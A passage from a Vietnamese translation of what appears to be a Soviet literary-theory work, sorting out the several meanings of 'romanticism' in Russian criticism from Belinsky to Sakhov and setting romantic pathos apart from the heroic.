Tiếp theo, A.I. Bêlinxki đã nỗ lực nhận xét “những đặc điểm cơ bản” của phong cách lãng mạn. Đó là – “sức lôi cuốn tới tính chất hội họa” đã dẫn đến cách nói ẩn dụ; đó là – vấn đề mô tả “bối cảnh hành động”, tạo ra “bề ngoài” rực rỡ lắm mầu sắc mà từ đó hình như đã bắt nguồn “tính chất bách khoa, chủ nghĩa dân tộc, tính chất kỳ dị lãng mạn” v.v…; đó là – “tính chất tự họa chân dung” của các nhân vật lãng mạn; đó cũng là những nhân vật hóa ra “những con người của những say mê chưa từng nghe thấy, của những cơn siêu nhân”; cuối cùng đó là – sự khinh thường “tính nhấn quán của trình bày” sự xây dựng nguyên tắc “không trật tự trữ tình” của trần thuật(1).
Ở đây chúng ta sẽ không tranh luận về đúng hay không “tính chất kỳ dị” hoặc “chủ nghĩa dân tộc” của những tác phẩm lãng mạn cần thiết đối với tác giả mà chúng chỉ để xây dựng “những bề ngoài sặc sỡ” và trong mức độ nào “tính chất tự họa chân dung” các nhân vật liên quan đến phong cách như là “sự tổng hòa các cách thức”.
Nhận xét chủ yếu là A.I. Bêlinxki đã không đứng trên lập trường của chủ nghĩa hình thức và tìm nguồn gốc của “phong cách lãng mạn” trong những đặc điểm thế giới quan các nhà thơ của trào lưu lãng mạn. “Xét cho cùng, – ông viết, – thế giới quan là nguồn gốc của nó, đặc điểm để phân biệt với nó là thuyết nhị nguyên trong sự đối lập với thuyết nhất nguyên của các nhà cổ điển”. “Từ đó, từ thuyết nhị nguyên đó mà sinh ra cả tính tượng trưng lãng mạn, cả kiểu ngoa dụ lãng mạn và phản đề lãng mạn”(2).
Vẫn còn một điều này – điều thứ tư theo cách tính – cách hiểu chủ nghĩa lãng mạn dựa vào mong muốn rút gọn nó vào những đặc điểm của phong cách như là “tổng hòa các cách thức”.
Nhưng sự phân nhánh khái niệm “chủ nghĩa lãng mạn” vẫn chưa kết thúc ở đây. Hơn một trăm năm sau khi ở Nga đã bắt đầu những suy nghĩ đầu tiên về bản chất chủ nghĩa lãng mạn thì cái từ này bỗng có một ý nghĩa mới đối với các nhà lịch sử văn học. Lần này nó lại xuất phát từ các nhà văn và nhà phê bình của một trào lưu văn học xác định và đã phục vụ cho việc khẳng định cương lĩnh sáng tác của họ.
Như đã nói ở trên, vào cuối những năm 20 – đầu những năm 30 các nhà văn và nhà phê bình của Hiệp hội các nhà văn vô sản Nga khi nghiên cứu khái niệm “phương pháp sáng tác” đã khẳng định rằng trong tư duy nghệ thuật cũng như tư duy triết học chỉ tồn tại hai “phương pháp”. Trong triết học đó là chủ nghĩa duy vật và chủ nghĩa duy tâm, trong văn học nghệ thuật, phù hợp là chủ nghĩa hiện thực và chủ nghĩa lãng mạn. Mệnh đề này nhìn thấy trong lịch sử văn học sự phát triển và đấu tranh của hai phương pháp – chủ nghĩa hiện thực và chủ nghĩa lãng mạn – được hiện ra có sức thuyết phục và đã được nhiều nhà lý luận và lịch sử văn học nắm vững. Thuật ngữ “chủ nghĩa lãng mạn” đã kiếm được một ý nghĩa mới thứ năm theo tính đếm. Nó trở thành một trong “những phương pháp sáng tác” bổ sung vào tất cả những cái trước đó.
Chẳng hạn như trong lần xuất bản đầu tiên của cuốn “Những nguyên lý lý luận văn học” của L.I. Timôphêép chúng ta đọc”
“Trong quá trình văn học chúng ta đụng đến không chỉ chủ nghĩa hiện thực trong những nhánh khác nhau nhất của nó mà với cả một phương pháp nghệ thuật – chủ nghĩa lãng mạn – khác biệt rõ ràng với nó, lại một lần nữa trong những biểu hiện đa dạng nhất của nó.
Sự phân chia những phương pháp ấy bắt nguồn từ quan hệ khác nhau của nhà văn đối với hiện thực. Nhà hiện thực trong sáng tác của mình xuất phát từ sự khẳng định vai trò ưu tiên của đời sống trong quan hệ với hoạt động sáng tạo còn lãng mạn thì ngược lại từ sự khẳng định một ý nghĩa xác định của hoạt động sáng tạo theo quan hệ đối với đời sống”(1).
Hiện giờ chúng ta sẽ chưa bàn bạc xem định nghĩa ấy đúng ở mức độ nào. Điều quan trọng là lúc đó L.I. Timôphêép đã nói về chủ nghĩa lãng mạn không trong cái nghĩa của từ mà trong đó Vêxêlốpxki đã dùng nó, nhưng cũng không trong cái nghĩa của Bêlinxki, cũng không trong cái nghĩa của Bêlinxki và cũng không ở trong nghĩa của Pôlêvôi.
Như vậy là trong phê bình văn học Nga, trong lịch sử văn học và lý luận văn học người ta đã dùng từ “chủ nghĩa lãng mạn” để gọi một cương lĩnh sáng tác nhất định chủ trương ngược lại chủ nghĩa cổ điển, một biến thể được lặp lại có tính lịch sử của cảm hứng sáng tạo, một trào lưu văn học nhất định, những đặc điểm chung của phong cách, một trong những “phương pháp sáng tác” mà có thể tìm thấy trong văn học của tất cả các thời đại lịch sử.
Nhưng phải thừa nhận rằng tất cả những ý nghĩa khác nhau ấy của mỗi một từ, những nhánh khác biệt của một “cái cây” đồng âm không phải luôn được hiểu một cách rõ ràng. Những khái niệm khác nhau gắn với một thuật ngữ cho đến nay đã không nhận được trong khoa học chúng ta một sự kiểm tra phê phán, một sự nghiên cứu lôgic, một sự phân biệt thuật ngữ. Vì thế chúng có rất nhiều giới hạn mơ hồ, dễ dàng pha trộn và di chuyển cái này vào cái kia. Sự tương đồng của từ mà chúng ta khó hiểu những khác biệt cơ bản trong nội dung của chính các khái niệm.
Một sự thật kỳ lạ và đặc biệt lạ lùng là phần lớn của các nhà lịch sử văn học thậm chí một ít trong số họ không trực tiếp nghiên cứu thời đại của “chủ nghĩa lãng mạn” và các tác phẩm lãng mạn, rất ít người băn khoăn sự lộn xộn ấy của các khái niệm và dễ dàng chấp nhận nó. Chỉ có một số trong bọn họ có tư duy sắc sảo và sâu sắc hơn đã nỗ lực phân rõ khái niệm, thờ ơ gắn kết với từ “chủ nghĩa lãng mạn”.
Trong quan hệ này cần phải đánh giá cao những tác phẩm của nhà lịch sử văn học Tây Âu trẻ và mất sớm A.A. Sakhốp. Trong tập bài giảng của mình “Khảo luận phong trào văn học nửa đầu thế kỷ XIX” ông đã nêu một kiểu mẫu hiếm có phân biệt một số khái niệm hợp nhất bởi thuật ngữ “chủ nghĩa lãng mạn”.
“Khuynh hướng văn học mới, – chúng ta đọc ở đây, – chúng ta đã nhận xét trong các tác phẩm của Satôbriăng và nó đã là sản phẩm của một tinh thần và lối sống xã hội mới, đang sản sinh ra học thuyết mỹ học, lý luận văn học độc đáo của mình trong những năm hai mươi. Bất kỳ quy tắc văn học nào thì sự ra đời của mình cũng mang một quá trình tương tự thế này: thoạt đầu thì các quan niệm và tư tưởng mới được nêu lên trong xã hội đẩy lùi các quan niệm cũ, sau đó các quan niệm chung ấy, thế giới quan mới đó trở thành nội dung thơ ca; cuối cùng – trên cơ sở các sản phẩm thi ca, lý luận các thủ pháp văn học và kỹ thuật nghệ thuật được xây dựng, các nhà văn theo đó mà đưa đến đến sự xuất hiện những hình thức khác của đời sống xã hội. Lý luận những năm hai mươi đã nhận được tên gọi của chủ nghĩa lãng mạn. Các nhà lãng mạn đã tồn tại từ cuối thế kỷ XVII nhưng trong những năm hai mươi cương lĩnh của họ mới được soạn ra, mới tổng kết thành khuynh hướng văn học mới, hình thành trường phái…”.
Ở một chỗ khác khi nói về Víchto Huygô, Sakhốp nhận xét rằng ông “có thể gọi là trường phái lãng mạn chính (trường phái, lý luận chứ không phải khuynh hướng, người cha của khuynh hướng đúng hợn cả phải xem là Sôtôbriăng”)(1).
Vì vậy Sakhốp chia làm hai hiện tượng: những đặc điểm của sáng tác một loạt nhà văn, – ông gọi chúng là “khuynh hướng”, còn cương lĩnh văn học là do một số trong bọn họ tự giác phân chia ra. Ông gọi những nhà văn liên kết lại bởi cương lĩnh đó là “trường phái”. Theo quan điểm của ông thì một nhà văn có thể là nhà lãng mạn theo khuynh hướng nhưng không phải là nhà lãng mạn theo trường phái.
Ở Sakhốp có hệ thống khác so với Vêxêlốpxki. “Những tư tưởng và quan niệm”, một “thế giới quan” nhất định “trở thành nội dung thi ca” được Sakhốp gọi không phải là “trào lưu” mà là “khuynh hướng”. Cho nên Sakhốp mới xem Satôbriăng là người đặt nền móng của chủ nghĩa lãng mạn Pháp như một khuynh hướng. Về sau mới xuất hiện cương lĩnh sáng tác của các nhà lãng mạn Pháp, “quy tắc văn học” của họ được Huygô tạo dựng.
Vì vậy cho nên Satôbriăng là nhà lãng mạn chỉ theo những đặc điểm của sáng tác, theo khuynh hướng còn V.Huygô cũng là nhà lãng mạn nhưng theo quy tắc văn học – theo trường phái.
Tất cả những nhận xét và kết luận của Sakhốp trong những đặc điểm chung là hoàn toàn đúng đắn. Và Sakhốp phần lớn ở đây tư duy chính xác hơn so với Vêxêlốpxki trong những mệnh đề tương ứng nơi cuốn sách của mình về Giucốpxki. Điều đặc biệt thú vị là toàn bộ quan điểm ấy Sakhốp đã tạo dựng vào khoảng giữa những năm 70 của thế kỷ đã qua.
2
Sự phân chia các khái niệm về thuật ngữ do A.A.Sakhốp đề xuất là thú vị và giá trị nhưng chưa đầy đủ. Ông chỉ chia ra hai khái niệm liên quan đến thuật ngữ “chủ nghĩa lãng mạn” nhưng như đã nói thì chúng được gom lại nhiều hơn. Tất nhiên tất cả các khái niệm ấy cần được giữ gìn bởi vì chúng phản ánh những mặt cơ bản khác nhau có thực của quá trình văn học. Nhưng sự lẫn lộn của chúng gợi lên ý nghĩa quan trọng của một thuật ngữ thì cần phải khắc phục.
Trong lý tưởng thì mỗi khái niệm khoa học cần có một thuật ngữ của mình. Nghĩa là cần bảo tồn tên gọi “chủ nghĩa lãng mạn” chỉ trong quan hệ với một trong những khái niệm được vạch ra ở trên, còn đối với những cái khác thì xây dựng những ký hiệu khác.
A.I.Bêlinxki đã đúng khi nhớ lại sự tồn tại “của cái thuật ngữ” “trào lưu” cũ và phổ biến. Thật ra thuật ngữ này được đặt ra từ lâu, đã trở nên quen thuộc không việc gì phải thay đổi nó. Sakhốp đã sử dụng ở đây thuật ngữ “trường phái”. Nhưng điều này không có sức thuyết phục vì nhà trường(*) cần có sự tồn tại của thầy giáo và các nhóm học sinh, còn trong lịch sử văn học chỉ những kẻ hậu bối mới thường là học sinh trong ý nghĩa đặc biệt. Giucốpxki đã gọi Puskin là “học trò” của mình và ông đã đúng trong trường hợp nào đó. Nhưng ai nảy ra ý nghĩa gọi Puskin, Rưlêép, Baratưnxki, Tiutchev – là “trường phái” của Giucốpxki?
Hãy để “chủ nghĩa lãng mạn” vẫn còn là trào lưu văn học, là hiện tượng lịch sử có một vị trí lúc nào đó và tại nơi nào đó và chính thế nó là hiện tượng lịch sử cụ thể chứ không phải có “tính loại hình”. Khi đã nói về chủ nghĩa lãng mạn Nga, Đức, Pháp không nhất định mỗi lần phải nhớ ngày tháng niên biểu sự tồn tại của nó. Các trào lưu như thế trong lịch sử văn học của mỗi một trong các dân tộc ấy không bao giờ xuất hiện nhiều hơn. Nhưng không nên tưởng tượng ra những trào lưu mà chúng không bao giờ tồn tại, – nói về “chủ nghĩa tân cổ điển”, “chủ nghĩa tiền lãng mạn”, “chủ nghĩa lãng mạn” v.v…Từ đó tư tưởng khoa học càng tối nghĩa hơn.
Nhưng trào lưu văn học là cái thế nào? Chúng ta cảm thấy rằng ở đây cần phải hoàn toàn tán thành với Sakhốp khi cho rằng trào lưu (theo Sakhốp – trường phái) – điều này như đã nói là sự sáng tác theo cương lĩnh của nhóm các nhà văn. Cương lĩnh văn học tức là một quan niệm nhất định về bản chất, nhiệm vụ, hình thức sáng tác không chỉ tăng thêm cho nó sự tự giác, tính nguyên tắc, tính sáng rõ to lớn. Nó đồng thời thường đem đến cho sáng tác của những người tạo ra nó, liên kết xung quanh nó những nhà văn một cái tên gọi nhất định, “cái tên riêng” mà với cái tên ấy sáng tác đó đi vào lịch sử. Đã là như vậy với chủ nghĩa lãng mạn.
Nhưng Sakhốp, như chúng ta đã thấy, là ông hiểu rõ “quy tắc văn học” này hay khác xuất hiện không phải theo sự độc đoán của các nhà văn mà trong sự phù hợp với những đặc điểm nhất định của nội dung các tác phẩm văn học. Tất thảy điều đó thường như vậy ngoại trừ một điều: cương lĩnh văn học thường còn xa chưa đi đến “lý luận các phương pháp”.
Nhưng nếu như một “nội dung thi ca” nào đó xuất hiện sớm trước “quy tắc văn học” mà trong đó hình thành một trào lưu phù hợp thì luôn luôn có nghĩa đang tồn tại các nhà văn không phụ thuộc vào trào lưu bởi vì nó chưa có, nhưng các nhà văn ấy đang chuẩn bị bằng sáng tác của mình của sự xuất hiện của nó.
Nhà văn như vậy trong chủ nghĩa lãng mạn Pháp, theo tư tưởng của Sakhốp, là Satôbriăng.
Trong chủ nghĩa lãng mạn Nga người như vậy là Giucốpxki, người đã kịp viết hầu như tất cả những thơ balat đặc sắc của mình theo các cốt truyện vay mượn trước khi “quy tắc văn học” của chủ nghĩa lãng mạn xuất hiện mà trong đó Bêlinxki đã nhận xét một cách đúng đắn là “không một ai không nghi ngờ nhà lãng mạn” khi ở chúng ta chưa có “những lời xì xào về chủ nghĩa lãng mạn”, khi chưa hề xuất hiện trong lĩnh vực văn học Nga chính cái từ ấy.
Để hiểu rõ sự có mặt của “nội dung thi ca” nào đó trong sáng tác của những người chuẩn bị một trào lưu này hay trào lưu khác cũng như trong sáng tác của những người tham gia tích cực của nó. A.A. Sakhốp đã dự định một cách đúng đắn phải vận dụng một thuật ngữ đặc biệt. Chính ông đã phân chia “khuynh hướng” và “trường phái”. Chúng tôi đã đề nghị, theo truyền thống tốt từ lâu đời, gọi “những trường phái” của Sakhốp là “trào lưu”. Vậy những “khuynh hướng” của Sakhốp ta gọi thế nào? Như chúng ta cảm thấy một thuật ngữ tốt đã được Vêxêlốpxki sử dụng cho tác phẩm này là “trào lưu văn học”. Và các thuật ngữ chúng tôi đề nghị theo ngữ nghĩa được liên kết lại: các trào lưu – “đang chảy”, các khuynh hướng, – “đang hướng chúng vào”; khuynh hướng – đó là trào lưu có tính cương lĩnh khuynh hướng.
Có nghĩa là những đặc điểm của trào lưu văn học lý giải cho chúng ta những đặc điểm của một cương lĩnh sáng tác mà trong đó đang hình thành một khuynh hướng phù hợp. Có nghĩa là trên cơ sở của chủ nghĩa lãng mạn theo Viademxki và Pôlêvôi đang có một chủ nghĩa lãng mạn theo Vêxêlốpxki.
Nhưng thường có hiện tượng một trào lưu văn học này hay khác xuất hiện, phát triển và rời khỏi sận khấu lịch sử trong khi không được nhận là có tính khuynh hướng cương lĩnh, do nguyên nhân này hay nguyên nhân khác, không biiến thành khuynh hướng. Chẳng hạn như văn học lãng mạn Anh.
Sakhốp đã hoàn toàn đúng khi khẳng định rằng thoạt đầu trong xã hội xuất hiện “những tư tưởng và quan niệm” nhất định, “thế giới quan” nhất định và khi nó trở thành “nội dung thi ca” thì xuất hiện một trào lưu văn học phù hợp (chúng tôi sử dụng hệ thống thuật ngữ của chúng tôi). Nhưng Sakhốp đã không đúng khi cho rằng thế giới quan mới luôn đẩy lùi “những quan niệm cũ” để rồi chính nó về sau biến thành “cái cũ” và sẽ bị đẩy lùi bởi cái mới hơn. Cũng không đúng khi nói khác rằng trong xã hội luôn tồn tại, về cơ bản, một thế giới quan nào đó, còn trong văn học, tất nhiên là một khuynh hướng. Không, trong xã hội phân chia giai cấp và trong đó diễn ra cuộc đấu tranh theo những chiều hướng khác nhau của sự phát triển của nó, luôn tồn tại “những tư tưởng và quan niệm” khác nhai, thế giới quan khác nhau. Cũng từ đó trong văn học xuất hiện những trào lưu khác nhau.
Vận dụng những mệnh đề này vào văn học lãng mạn, chúng ta có thể hiểu thêm một phương diện quan trọng trong việc phân chia các khái niệm đang bàn. Sakhốp đã không chỉ ra một cách thật rõ ràng đầy đủ rằng Satôbriăng và Huygô là những người với “những tư tưởng và quan niệm ” khác nhau sâu sắc, rằng trong sáng tác của họ “các thế giới quan” khác nhau đã tìm được sự biểu hiện của mình. Vì vậy trong văn học của chủ nghĩa lãng mạn Pháp đã tồn tại những trào lưu khác nhau. Và người đại biểu tiến bộ nhất trong số họ là V.Huygô, người đã tuyên bố “chủ nghĩa lãng mạn – đó là chủ nghĩa tự do trong văn học”, trở thành khuynh hướng lãng mạn chủ yếu. Không bao giờ Satôbriăng nói như vậy!.
Và ở Nga cũng đã như thế, Vêxêlốpxki đã đúng khi khẳng định rằng Giucốpxki thời trẻ có thế giới quan của chủ nghĩa tình cảm và mang theo nó suốt đời. Nhưng nhà nghiên cứu đã sai lầm khi cho rằng hình như chủ nghĩa lãng mạn đối với Giucốpxki chỉ là “những yếu tố phong cách”. Thực ra Giucốpxki đã nhanh chóng làm sâu sắc thế giới quan đa cảm của mình đạt tới độ hàm chứa trong nó những đề tài lãng mạn, đến những đề tài của cái huyền bí và kỳ diệu. Và khi đó ông đã trở thành nhà thơ lớn nhất của một trong những trào lưu của chủ nghĩa lãng mạn Nga.
Còn Puskin đã xúc động mạnh theo cách của mình một cái gì đó tương tự. Trong thế giới quan công dân của ông cũng đã xuất hiện những chủ đề lãng mạn – những chủ đề cuộc đấu tranh cá nhân vì tự do của tổ quốc. Khi đó ông đã trở thành một nhà thơ lớn nhất của trào lưu khác của chủ nghĩa lãng mạn Nga.
Cái gì đã làm cho những tác phẩm có “tính lãng mạn” theo tên gọi của những trào lưu văn học và của những khuynh hướng được trình bày của chúng là lãng mạn theo những đặc điểm khách quan của nội dung tư tưởng của chúng?
Cần phải hướng đến Bêlinxki trong việc tìm câu trả lời cho vấn đề này. Ông đã đúng khi chỉ ra rằng chủ nghĩa lãng mạn (trong cái nghĩa mà ông đã thống nhất với từ này) không chỉ thuộc riêng về văn học mà trước hết là thuộc về những đặc điểm của chính sự sáng tạo biểu lộ một thái độ tư tưởng nhất định đối với đời sống, một tâm thái nhất định xuất hiện rất mạnh mẽ không chỉ ở các nhà văn mà cả ở những người khác. Nói cách khác, đó là cảm hứng của đời sống và sáng tạo.
Đối với hiện tượng như vậy tồn tại trong đời sống và trong văn học cần được một ký hiệu đặc biệt, một thuật ngữ đặc biệt để không lẫn lộn nó với tất cả những gì mà chúng ta đã thỏa thuận gọi là khuynh hướng lãng mạn. Chúng tôi cảm thấy Bêlinxki đã áp dụng một từ rất thích hợp nhưng khi dùng từ “chủ nghĩa lãng mạn” cũng trong nghĩa đó. Ông đã viết: “Những phương diện của tinh thần con người là vô số trong sự đa dạng của chúng; nhưng chỉ có hai phương diện chính: phương diện nội tâm, chân thành, phương diện trái tim, nói gọi là chủ nghĩa lãng mạn – và phương diện của lý trí nhận thức bản thân…”(1).
Chúng ta sẽ cắt đứt mối liên hệ cho phù hợp các sự kiện. Giucốpxki trở thành nhà lãng mạn theo thái độ của mình đối với đời sống khi mà trở thành lý tưởng đạo đức trừu tượng đối với ông không phải là sự phản xạ chân thành buồn bã trong sự kéo dài đời sống nông thôn mà là sự khoái trá của những rung động chân thành hướng vào gắn bó với người yêu bên kia ranh giới của sự tồn tại mặt đất phù sinh, khi ông thể hiện những xúc động như vậy trong các hình tượng thiên nhiên trữ tình theo hợp đồng với đời sống đồi bại của xã hội thị thành, khi nhà thơ bắt đầu nghe thấy “tiếng nói say đắm” và ngợi ca “sự đắm đuối ở nơi kia”.
Puskin trở thành nhà lãng mạn theo thái độ của mình đối với đời sống từ rất lâu trước sự thành lập các nhà thơ phương Nam, khi lý tưởng cao quý của sự tự do công dân của nó đối với ông đã không thành là đối tượng của suy ngẫm lý trí về sự bình đẳng của tất cả các thành viên xã hội trước “những quy luật mạnh mẽ” mà là đối tượng của những suy nghĩ cảm xúc phấn khích về sự trung thành cá nhân của mình đối với sự nghiệp giải phóng tổ quốc khỏi chê độ chuyên chế, khi trái tim riêng của ông đã thành “cháy rực tự do”, đã thành “vinh dự rõ rệt”, khi sự biểu hiện lý tưởng đối với ông đã trở thành “bình mình của hạnh phúc say mê”. Có thể dẫn ra rất nhiều ví dụ tương tự.
Dễ dàng chia các xúc động lãng mạn làm hai phương diện và đồng thời hai tiền đề tư tưởng của sự xuất hiện của chúng. Trước hết đó là – khả năng của cá tính người được đề cao lên đến sự tự ý thức xúc động (“chân thành”) và sự tự quyết định. Theo Bêlinxki đó là sự xuất hiện trong ý thức cá tính con người “những nền tảng huyền bí của tâm hồn và trái tim”.
Nhưng đồng thời những xúc động lãng mạn xuất hiện trên “nền tảng huyền bí của tâm hồn và trái tim” của cá tính con người chỉ khi mà nó đã lớn đến độ sáng tạo tích cực hoặc tiếp nhận lý tưởng cao quý, “siêu cá nhân” này hay khác, luôn luôn cách này hay cách khác mà cuối cùng là lý tưởng xã hội. Theo Bêlinxki đó là “sự khao khát tới các tốt hơn, cao thượng hơn, tìm kiếm sự thỏa mãn trong các lý tưởng, được sáng tạo bằng mơ ước”.
Những tiền đề ấy của thế giới quan lãng mạn đã xuất hiện, tất nhiên không phải ở Nga thời đại Giucốpxki và Puskin. Sự biểu hiện của chúng nói chung là đặc trưng của những trình độ phát triển có tính quy luật nhất điọnh của các xã hội dân tộc khác nhau. Và chỉ bằng con đường như vậy có thể giải thích sự xuất hiện sáng tác lãng mạn trong tất cả các nền văn học dân tộc này hay khác.
Những điều kiện lịch sử tiên quyết của khả năng xuất hiện thế giới quan lãng mạn là các quá trình tự quyết định tư tưởng và đạo đức của cá nhân trong xã hội quyền uy mà chúng đã gợi nên bởi sự phát triển trong nó của những quan hệ tư sản tiến bộ và đã được nói đến về chúng trong chương về nhiệt hứng của tính đa cảm. Sự tự quyết định tư tưởng của cá tính tiếp tục là cơ sở cho việc sản sinh những khả năng của nó về phản xạ cảm xúc. Nhưng nếu như sự phản xạ đa cảm đã xuất hiện trong sự nhận thức của phẩm chất đạo đức bên trong của cá tính con người hoặc của phẩm chất xã hội bên ngoài, hoặc là sự đối lập với nó thì đối với việc xuất hiện phản xạ lãng mạn điều đó ít hơn. Chủ nghĩa lãng mạn đòi hỏi sử dụng cái cá nhân tự ý thức bản thân, làm phong phú phản xạ cảm xúc với các lý tưởng cao cả, “siêu cá nhân”.
Nhưng không phải bất cứ lý tưởng nào thậm chí rất cao cả đều có khả năng sinh ra trong tự ý thức cảm xúc cá nhân sự suy ngẫm lãng mạn và sự đánh giá đời sống. Đang tồn tại những lý tưởng duy lý, giáo điều có khả năng theo cách của mình trấn áp cá tính và cào bằng nguyên lý cá nhân. Thường có những lý tưởng lầm lạc lịch sử, tồn tại chỉ một cách hình thức và không có sức mạnh được tiếp nhận một cách chân thành từ tất cả trái tim. Cả những cái này lẫn cái kia ngăn cản sự xuất hiện chủ nghĩa lãng mạn ngay cả trong những thời đại khi quá trình lịch sử phân hóa cá tính đã diễn ra.
Chẳng hạn như ở một số dân tộc đã xuất hiện trong thời đại Phục hưng của mình những khuynh hướng đầu tiên về thế giới quan và sáng tác lãng mạn (ở Ý, ví dụ, trong thơ trữ tình của Pêtrarki), tiếp sau đó đã xuất hiện sự thống trị của thế giới quan duy lý, được đẩy mạnh bởi những lý tưởng cao cả của chế độ chuyên chế nhà nước tiến bộ. Thế giới quan đó lại đã nhìn nhận cá tính riêng lẻ như sự biểu hiện của một tầng lớp xã hội nhất định với vị trí và ý nghĩa đặc biệt của nó trong đời sống quốc gia, với những trách nhiệm bắt nguồn từ đó trước xã hội trong toàn bộ nghĩa vụ đạo đức công dân xác định của nó.
Thế giới quan đó như đã nhận xét, trong một số nước đã trở thành cơ sở tư tưởng của sự xuất hiện và phát triển trào lưu văn học chủ nghĩa cổ điển. Những lý tưởng của nó là những tác nhân kích thích tích cực của việc biểu hiện trong sáng tác văn học nhiệt hứng anh hùng và trào phúng, trong nhiều trường hợp chân thực lịch sử trong toàn bộ tính trừu tượng của mình, nhưng đồng thời đã hướng các nhà văn tới “tính định chuẩn” của việc phản ánh tính cách. Chủ nghĩa lãng mạn hiển nhiên đã vắng mặt trong văn học chủ nghĩa cổ điển.
Nhưng chế độ chuyên chế nhà nước quý tộc đã dần mất đi ý nghĩa tiến bộ chung các dân tộc của mình và càng trở nên phản động hơn. Khi đó những lý tưởng của nó đã mất đi tính phổ cập và bị tước mất tính chân thực lịch sử nhiệt hứng của mình. Khi đó những nhóm ý thức hệ tích cực của xã hội đã nỗ lực nhận thức viễn cảnh của sự sụp đổ của pháp chế quý tộc chuyên chế – những viễn cảnh mà đối với số này là tươi sáng, vui mừng, đối với số khác là u tối, đau thương. Khi đó trong xã hội đã xuất hiện những trào lưu tư tưởng mới và đối lập thù địch giống nhau đối với các lý tưởng cào bằng của chế độ quân chủ chuyên chế. Những lý tưởng của họ hoặc hướng về xã hội tương lại hoặc vào quá khứ lịch sử, mỗi một theo cách của mình đã có tính cao thượng và ý nghĩa to lớn, đã mở ra những khả năng rộng rãi cho việc phát triển và làm sâu sắc sự ý thức xúc cảm cá tính. Sự khao khát những lý tưởng như vậy đã sinh ra thái độ lãng mạn đối với đời sống. Và văn học nghệ thuật biểu hiện một nội dung tư tưởng phù hợp, trng mức độ này hay mức độ khác đã lãng mạn theo nhiệt hứng của mình. Đã bắt đầu thời đại phồn thinh của chủ nghĩa lãng mạn trong văn học các dân tộc châu Âu khác nhau.
Vậy thì chủ nghĩa lãng mạn, đó là cao trào và sự phồng vinh của sự ý tự ý thức cảm xúc của cá tính, của những xúc động tâm hồn của nó, được gợi lên bởi khao khát lý tưởng cao cả, “siêu cá nhân” và được thể hiện một cách khách quan đầy đủ trong những hiện tượng này hay khác của hiện thực. Những hiện tượng như vậy có thể là chính những hành động và thái độ hướng vào việc đạt được lý tưởng, cả những thủ pháp và hình thức bề ngoài của chúng, cả những truyền thống lịch sử của chúng và cả những tình cảm và thái độ cá nhân liên quan với tất cả điều đó, nói riêng là tình yêu và trừu mến và cả những hiện tượng và môi trường tự nhiên gắn kết với tất cả những điều đó.
Điều chủ yếu trong ý thức lãng mạn – đó là sự xúc động cao cả của lý tưởng. Chúng ta đã đồng ý với Sécnưsépxki khi ông giả định rằng cái cao cả – đó là “một loại riêng biệt của cái vĩ đại nói chung”. Nhưng cái anh hùng chúng ta đã xác định như sự hoạt động hướng đến đạt được những nhiệm vụ vĩ đại của sự phát triển lịch sử – dân tộc được nhận thức cách này hay cách khác. Vậy sự khác nhau giữa tính anh hùng và tính lãng mạn là ở chỗ nào?
Tính chất anh hùng – đó là bản tính của sự hoạt động con người, được xem xét trong tính khuynh hướng của nó đối với những nhiệm vụ vĩ đại bên ngoài này hay khác trong những con đường, cách thức, biện pháp bên ngoài của việc đạt tới những nhiệm vụ ấy, trong tất cả các dấu hiệu, biểu tượng, đặc trưng ấy được biểu hiện ra cái vĩ đại của riêng nó. Tính chất lãng mạn – đó là bản tính của cái thế giới tâm hồn, bên trong của cá tính người được phát triển một cách lịch sử đến những khả năng tự nhận thức (phản xạ) cảm xúc, đến những khả năng xúc cảm mạnh mẽ cái vĩ đại của lý tưởng của mình và cái khát khao của mình đối với nó, cảm nhận trong mình cái khả năng đó.
Nghĩa là một mặt thì tính anh hùng rộng hơn tính lãng mạn trong những giới hạn lịch sử của mình vì chính những tính cách anh hùng và những ai đã suy ngẫm, đã đánh giá và miêu tả hoạt động của chúng, trong những thời đại lịch sử đầu tiên đã chưa phải có khả năng tới thế giới quan lãng mạn. Không phải Asin và Patrôkl, không phải Rôlăng và Ôlive, không phải công tước Igo và Vxêvolôđ, không phải Ilia Myrômét và Đôbrưn Nhikititr, không phải là nhân vật ca tụng những chiến công của chúng, đã còn chưa biết đến những xúc động lãng mạn.
Một mặt khác tính lãng mạn trong văn học mới rộng hơn tính anh hùng bởi vì không chỉ những lý tưởng mà nói chúng chúng đạt được bằng hoạt động anh hùng, có thể trở thành đối tượng của sự tự suy tưởng cảm xúc cao thượng. Điều đó có thể là ngay cả những lý tưởng mà trong nguyên tắc chúng loại bỏ bất kỳ cuộc đấu tranh bên ngoài nào vì sự hoàn thành của chúng. Loại như vạy đôi khi có thể là những lý tưởng đạo đức – tôn giáo hoặc cả những lý tưởng được chuyển vào quá khứ lịch sử xa xôi mà sự tồn tại thực tế chúng đã không thể có. Ví dụ như những lý tưởng lãng mạn của Satôbriăng, Giucốpxki và Tiutshev hoặc của các nhà thơ của “trường phái hồ”.
Nhưng ở giai đoạn hiện đại của phát triển lịch sử xã hội đang xuất hiện những tính cách mà chúng trong khi hoàn toàn hấp dẫn bởi hoạt động anh hùng của mình, đồng thời có khả năng tự nhận thức có tính lãng mạn gắn với hoạt động ấy. Cái anh hùng lãng mạn xuất hiện như vậy.
Một ví dụ tuyệt vời cho điều này có thể là sự ngập ngừng suy nghĩ của Lêvinxơn trong “Chiến bại” của Phađêép, về chính bản thân, về hoạt động của mình, về những đặc điểm và những khả năng của tính cách của mình với tính cách của Mêtrich. “… Không, dù sao mình đã là một chàng trai cứng rắn, mình đã cứng rắn hơn nó nhiều – anh ta đã suy nghĩ giờ đây với niềm phấn chấn vui tươi không giải thích được mà không một ai có thể hiểu được, – mình không chỉ đã muốn rất nhiều, mà mình đã có thể làm nhiều…”. Anh ta ra đi, không xác định con đường, những cành cây lạnh đầy sương làm tươi tỉnh khuôn mặt, anh ta cảm thấy tràn đầy những sức mạnh lạ thường đẩy tinh thần anh lên cao không với tới được và từ cao điểm con người trần thế rộng lớn ấy anh ta đã khống chế bệnh tật của mình, thân thể yếu đuối của mình…”.
